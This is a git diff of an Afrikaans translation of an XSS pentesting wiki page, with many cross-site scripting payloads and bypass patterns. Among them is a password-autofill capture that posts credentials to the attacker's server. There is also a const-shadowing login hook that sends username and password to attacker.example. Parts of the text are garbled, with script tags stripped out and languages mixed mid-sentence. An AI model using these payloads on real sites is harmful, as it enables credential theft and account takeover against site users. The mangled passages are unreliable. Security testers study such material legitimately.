diff --git a/src/SUMMARY.md b/src/SUMMARY.md index be4d4275a..4c7d77d24 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -725,6 +725,7 @@ - [SOME - Same Origin Method Execution](pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution.md) - [Sniff Leak](pentesting-web/xss-cross-site-scripting/sniff-leak.md) - [Steal Info JS](pentesting-web/xss-cross-site-scripting/steal-info-js.md) + - [Wasm Linear Memory Template Overwrite Xss](pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md) - [XSS in Markdown](pentesting-web/xss-cross-site-scripting/xss-in-markdown.md) - [XSSI (Cross-Site Script Inclusion)](pentesting-web/xssi-cross-site-script-inclusion.md) - [XS-Search/XS-Leaks](pentesting-web/xs-search/README.md) diff --git a/src/pentesting-web/xss-cross-site-scripting/README.md b/src/pentesting-web/xss-cross-site-scripting/README.md index 1cb6d9062..75f58bfeb 100644 --- a/src/pentesting-web/xss-cross-site-scripting/README.md +++ b/src/pentesting-web/xss-cross-site-scripting/README.md @@ -4,81 +4,80 @@ ## Metodologie -1. Kontroleer of **enige waarde wat jy beheer** (_parameters_, _path_, _headers_?, _cookies_?) **weerspieël** word in die HTML of **gebruik** word deur **JS**-kode. -2. **Vind die konteks** waar dit weerspieël/gebruik word. -3. As dit **weerspieël** -1. Kontroleer **watter simbole jy kan gebruik** en, afhangend daarvan, berei die payload voor: -1. In **ruwe HTML**: -1. Kan jy nuwe HTML-tags skep? -2. Kan jy events of attributte gebruik wat die `javascript:`-protokol ondersteun? -3. Kan jy beskerming omseil? -4. Word die HTML-inhoud geïnterpreteer deur enige client-side JS-motor (_AngularJS_, _VueJS_, _Mavo_...)? Jy kan 'n [**Client Side Template Injection**](../client-side-template-injection-csti.md) misbruik. -5. As jy nie HTML-tags kan skep wat JS-kode uitvoer nie, kan jy 'n [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html) misbruik? -2. Binne 'n **HTML-tag**: -1. Kan jy ontsnap na die ruwe HTML-konteks? -2. Kan jy nuwe events/attribute skep om JS-kode uit te voer? -3. Ondersteun die attribuut waarin jy gevang is die uitvoering van JS? -4. Kan jy beskerming omseil? -3. Binne **JavaScript-kode**: -1. Kan jy uit die ``** tags van 'n HTML-bladsy, binne 'n `.js` lêer of binne 'n attribuut wat die **`javascript:`** protokol gebruik: +In hierdie geval word jou insetsel weerspieël tussen **``** tags van 'n HTML-bladsy, binne 'n `.js` lêer of binne 'n attribuut wat die **`javascript:`** protokol gebruik: -- As dit gereflekteer word tussen **``** tags, selfs al is jou invoer binne enige soort aanhalingstekens, kan jy probeer om `` in te spuit en uit hierdie konteks te ontsnap. Dit werk omdat die **blaaier eers die HTML-tags sal parse** en daarna die inhoud, daarom sal dit nie opmerk dat jou ingespuitte `` tag binne die HTML-kode is nie. -- As dit gereflekteer word **binne 'n JS-string** en die laaste truuk werk nie, sal jy die string moet **verlaat**, jou code **uitvoer** en die JS code **herbou** (as daar enige fout is, sal dit nie uitgevoer word nie): +- As dit weerspieël word tussen **``** tags, selfs as jou insetsel binne enige soort aanhalingstekens is, kan jy probeer om `` in te voeg en uit hierdie konteks te ontsnap. Dit werk omdat die **blaaier eers die HTML-tags sal ontleed** en dan die inhoud, daarom sal dit nie opmerk dat jou ingevoegde `` tag binne die HTML-kode is nie. +- If reflected **inside a JS string** and the last trick isn't working you would need to **exit** the string, **execute** your code and **reconstruct** the JS code (if there is any error, it won't be executed: - `'-alert(1)-'` - `';-alert(1)//` - `\';alert(1)//` -- As dit gereflekteer word binne template literals kan jy **JS-uitdrukkings inkorporeer** met die `${ ... }` sintaksis: `` var greetings = `Hello, ${alert(1)}` `` -- **Unicode encode** werk om **valid javascript code** te skryf: +- As dit weerspieël word binne template literals kan jy **JS expressions** insluit met die `${ ... }` sintaksis: `` var greetings = `Hello, ${alert(1)}` `` +- **Unicode encode** werk om **geldige javascript code** te skryf: ```javascript alert(1) alert(1) @@ -86,7 +85,7 @@ alert(1) ``` #### Javascript Hoisting -Javascript Hoisting verwys na die geleentheid om functions, variables of classes ná gebruik te declare, sodat jy scenario's kan misbruik waar 'n XSS undeclared variables of functions gebruik.\ +Javascript Hoisting verwys na die geleentheid om **funksies, veranderlikes of klasse nádat hulle gebruik is te verklaar sodat jy scenario's kan misbruik waar 'n XSS onverklaarde veranderlikes of funksies gebruik.**\ **Kyk na die volgende bladsy vir meer inligting:** @@ -96,19 +95,19 @@ js-hoisting.md ### Javascript Function -Verskeie webblaaie het endpoints wat **as parameter die naam van die function aanvaar wat uitgevoer moet word**. 'n Algemene voorbeeld wat jy in die wild sien is iets soos: `?callback=callbackFunc`. +Verskeie webblaaie het endpoints wat **as parameter die naam van die funksie om uit te voer aanvaar**. 'n Algemene voorbeeld in die veld is iets soos: `?callback=callbackFunc`. -'n Goeie manier om uit te vind of iets wat direk deur die gebruiker gegee is probeer uitgevoer word, is deur die **modifying the param value** (byvoorbeeld na 'Vulnerable') en in die console te kyk vir foute soos: +'n Goeie manier om te ontdek of iets wat direk deur die gebruiker gegee is probeer uitgevoer word, is deur **die parameterwaarde aan te pas** (byvoorbeeld na 'Vulnerable') en in die console te kyk vir foute soos: ![](<../../images/image (711).png>) -As dit kwesbaar is, kan jy 'n **trigger an alert** veroorsaak deur net die waarde te stuur: **`?callback=alert(1)`**. Dit is egter baie algemeen dat hierdie endpoints die inhoud **validate** om slegs letters, syfers, punte en underscores toe te laat (**`[\w\._]`**). +As dit kwesbaar is, kan jy moontlik **'n alert aktiveer** net deur die waarde te stuur: **`?callback=alert(1)`**. Dit is egter baie algemeen dat hierdie endpoints die inhoud sal **valideer** om slegs letters, syfers, kolletjies en underscores toe te laat (**`[\w\._]`**). -Tog, selfs met daardie beperking is dit steeds moontlik om sekere aksies uit te voer. Dit is omdat jy daardie geldige karakters kan gebruik om **access any element in the DOM**: +Selfs met daardie beperking is dit steeds moontlik om sekere aksies uit te voer. Dit is omdat jy daardie geldige karakters kan gebruik om **toegang te kry tot enige element in die DOM**: ![](<../../images/image (747).png>) -Some useful functions for this: +Sommige nuttige funksies hiervoor: ``` firstElementChild lastElementChild @@ -116,11 +115,11 @@ nextElementSibiling lastElementSibiling parentElement ``` -Jy kan ook probeer om **trigger Javascript functions** direk: `obj.sales.delOrders`. +Jy kan ook probeer om direk **trigger Javascript functions**: `obj.sales.delOrders`. -Gewoonlik is die endpoints wat die aangeduide funksie uitvoer egter endpoints sonder baie interessante DOM; **ander bladsye in dieselfde oorsprong** sal 'n **meer interessante DOM** hê om meer aksies uit te voer. +In die praktyk is die endpoints wat die aangeduide funksie uitvoer gewoonlik endpoints sonder 'n baie interessante DOM; **other pages in the same origin** sal 'n **more interesting DOM** hê om meer aksies uit te voer. -Daarom, om **abuse this vulnerability in a different DOM** te bereik, is die **Same Origin Method Execution (SOME)** exploitation ontwikkel: +Daarom, om hierdie kwesbaarheid in 'n ander DOM te misbruik, is die **Same Origin Method Execution (SOME)** exploitation ontwikkel: {{#ref}} @@ -129,7 +128,7 @@ some-same-origin-method-execution.md ### DOM -Daar is **JS code** wat **onveilig** sekere **data wat deur 'n aanvaller beheer word** gebruik, soos `location.href`. 'n Aanvaller kan dit misbruik om arbitrêre JS-kode uit te voer. +Daar is **JS code** wat op 'n onveilige wyse sekere **data controlled by an attacker** gebruik, soos `location.href`. 'n Aanvaller kan dit misbruik om arbitrêre JS-kode uit te voer. {{#ref}} @@ -138,8 +137,8 @@ dom-xss.md ### **Universal XSS** -Sulke XSS kan **oral** gevind word. Hulle is nie net afhanklik van die client exploitation van 'n webtoepassing nie maar van **enige** **konteks**. Hierdie tipe **arbitrêre JavaScript execution** kan selfs misbruik word om **RCE** te verkry, **arbitrêre** **lêers** in kliënte en bedieners te lees, en meer.\ -Sommige **voorbeelde**: +Hierdie soort XSS kan **ooral** gevind word. Hulle is nie net afhanklik van die kliëntuitbuiting van 'n webtoepassing nie, maar van **enige** **konteks**. Hierdie soort **arbitrary JavaScript execution** kan selfs misbruik word om **RCE** te bekom, **read** **arbitrary** **files** op kliënte en bedieners, en meer.\ +Sommige **examples**: {{#ref}} @@ -157,11 +156,11 @@ server-side-xss-dynamic-pdf.md ## Injecting inside raw HTML -As jou invoer **inside the HTML page** gereflekteer word of jy kan ontsnap en HTML-kode in hierdie konteks injekteer, is die **first** ding wat jy moet doen om te kontroleer of jy `<` kan misbruik om nuwe tags te skep: Probeer net om daardie **char** te **reflect** en kyk of dit **HTML encoded** word of **deleted** word, of of dit **reflected without changes** is. **Only in the last case you will be able to exploit this case**.\ -Vir hierdie gevalle hou ook **in mind** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\ -_**Note: A HTML comment can be closed using\*\***\***\*`-->`\*\***\***\*or \*\***`--!>`\*\*_ +As jou invoer weerspieël word **inside the HTML page** of jy kan ontsnap en HTML-kode in hierdie konteks injekteer, is die **first** ding wat jy moet doen om te kyk of jy `<` kan misbruik om nuwe tags te skep: Probeer net om daardie **char** te **reflect** en kyk of dit **HTML encoded** of **deleted** word, of of dit **reflected without changes** is. **Slegs in laasgenoemde geval sal jy hierdie situasie kan uitbuit**.\ +Vir hierdie gevalle **keep in mind** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\ +_**Nota: A HTML comment can be closed using\*\***\***\*`-->`\*\***\***\*or \*\***`--!>`\*\*_ -In hierdie geval en as geen swart-/witlyste gebruik word nie, kan jy payloads soos: +In hierdie geval, en as geen swart-/witlys gebruik word nie, kan jy payloads soos die volgende gebruik: ```html ` kan jy maklik die sluiting van die `` kan jy maklik **escape die sluiting van die ` ``` -Neem kennis dat ons in hierdie voorbeeld **nie eers die enkele aanhalingsteken toegemaak het nie**. Dit is omdat **HTML parsing eers deur die browser uitgevoer word**, wat behels dat bladsy-elemente, insluitend blokke van script, geïdentifiseer word. Die parsing van JavaScript om die ingeslote scripts te verstaan en uit te voer, vind eers daarna plaas. +Let daarop dat in hierdie voorbeeld ons **het nie eers die enkele aanhalingsteken gesluit nie**. Dit is omdat **HTML parsing is performed first by the browser**, wat behels dat bladsy-elemente geïdentifiseer word, insluitend blokke van script. Die parsing van JavaScript om die ingeslote scripts te verstaan en uit te voer word eers daarna uitgevoer. -### Binne JS-kode +### Binne JS code -As `<>` gesanitiseer word, kan jy steeds **die string ontsnap** waar jou invoer **geleë** is en **arbitrêre JS uitvoer**. Dit is belangrik om **JS-sintaksis reg te stel**, want as daar enige foute is, sal die JS-kode nie uitgevoer word nie: +As `<>` gesanitiseer word, kan jy steeds **ontsnap die string** waar jou insette **geleë is** en **voer willekeurige JS uit**. Dit is belangrik om **JS-sintaksis reg te stel**, want as daar enige foute is, sal die JS code nie uitgevoer word nie: ``` '-alert(document.domain)-' ';alert(document.domain)// @@ -496,25 +496,25 @@ As `<>` gesanitiseer word, kan jy steeds **die string ontsnap** waar jou invoer ``` #### JS-in-JS string break → inject → repair pattern -Wanneer gebruikersinvoer binne 'n quoted JavaScript string beland (e.g., server-side echo into an inline script), kan jy die string beëindig, kode injekteer en die sintaks herstel om parsing geldig te hou. Generiese geraamte: +Wanneer gebruikersinvoer binne 'n aangehaalde JavaScript-string beland (bv. server-side echo in 'n inline script), kan jy die string beëindig, code inject, en die sintaksis herstel sodat dit steeds geldig geparseer word. Generiese geraamte: ``` " // end original string ; // safely terminate the statement // attacker-controlled JS ; a = " // repair and resume expected string/statement ``` -Voorbeeld-URL-patroon wanneer die kwesbare parameter in 'n JS-string weerspieël word: +Voorbeeld-URL-patroon wanneer die kwesbare parameter in 'n JS-string gereflekteer word: ``` ?param=test";;a=" ``` -Dit voer aanvaller-JS uit sonder om die HTML-konteks aan te raak (suiwer JS-in-JS). Kombineer dit met die swartlys-omseilings hieronder wanneer filters sleutelwoorde blokkeer. +Dit voer attacker JS uit sonder om die HTML-konteks te raak (puur JS-in-JS). Kombineer dit met die blacklist bypasses hieronder wanneer filters sleutelwoorde blokkeer. ### Template literals `` -Om **strings** te konstrueer, behalwe enkelle en dubbele aanhalings, aanvaar JS ook **backticks** **` `` `**. Dit staan bekend as template literals aangesien hulle toelaat om **embedded JS expressions** te gebruik met die `${ ... }` sintaksis.\ -Daarom, as jy vind dat jou invoer binne 'n JS string wat backticks gebruik **reflected** word, kan jy die sintaksis `${ ... }` misbruik om **arbitrary JS code** uit te voer: +Om **strings** te konstrueer, anders as enkel- en dubbel-aanhalingstekens, aanvaar JS ook **backticks** **` `` `**. Dit staan bekend as template literals aangesien dit toelaat om **ingeslote JS-uitdrukkings** te gebruik met die `${ ... }` sintaksis.\ +Daarom, as jy vind dat jou invoer binne 'n JS-string wat backticks gebruik **gereflekteer** word, kan jy die sintaksis `${ ... }` misbruik om **willekeurige JS-kode** uit te voer: -Dit kan **misbruik** word deur: +Dit kan **misbruik** word met: ```javascript ;`${alert(1)}``${`${`${`${alert(1)}`}`}`}` ``` @@ -526,21 +526,21 @@ return loop } loop`` ``` -### Gekodeerde kode-uitvoering +### Encoded code execution ```html

Your sesion has timed out, please login again:

This login box is presented using XSS as a proof-of-concept

") ``` -### Vasvang van Auto-fill passwords +### Auto-fill passwords vangs ```javascript Username:
@@ -1422,11 +1433,11 @@ mode: 'no-cors', body:username.value+':'+this.value });"> ``` -Wanneer enige data in die password field ingevoer word, word die username en password na die attackers server gestuur — selfs as die kliënt 'n saved password kies en niks tik nie, sal die credentials ex-filtrated word. +When any data is introduced in the password field, the username and password is sent to the attackers server, even if the client selects a saved password and don't write anything the credentials will be ex-filtrated. ### Hijack form handlers to exfiltrate credentials (const shadowing) -As 'n kritieke handler (bv., `function DoLogin(){...}`) later in die bladsy gedeclareer word, en jou payload vroeër uitgevoer word (bv., via 'n inline JS-in-JS sink), definieer eers 'n `const` met dieselfde naam om die handler te voorkom en te vergrendel. Later funksie-deklarasies kan nie 'n `const`-naam herbinde nie, en laat jou hook in beheer: +Indien 'n kritieke handler (e.g., `function DoLogin(){...}`) later op die bladsy gedefinieer word, en jou payload vroeër loop (e.g., via an inline JS-in-JS sink), definieer eers 'n `const` met dieselfde naam om die handler te preëmpt en te vergrendel. Later funksie-deklarasies kan nie 'n `const`-naam herbind nie, wat jou hook in beheer laat: ```javascript const DoLogin = () => { const pwd = Trim(FormInput.InputPassword.value); @@ -1435,20 +1446,20 @@ fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURICom }; ``` Aantekeninge -- Dit berus op uitvoeringsvolgorde: jou injectie moet uitgevoer word voor die legitieme deklarasie. -- As jou payload in `eval(...)` ingesluit is, sal `const/let` bindings nie globals word nie. Gebruik die dinamiese `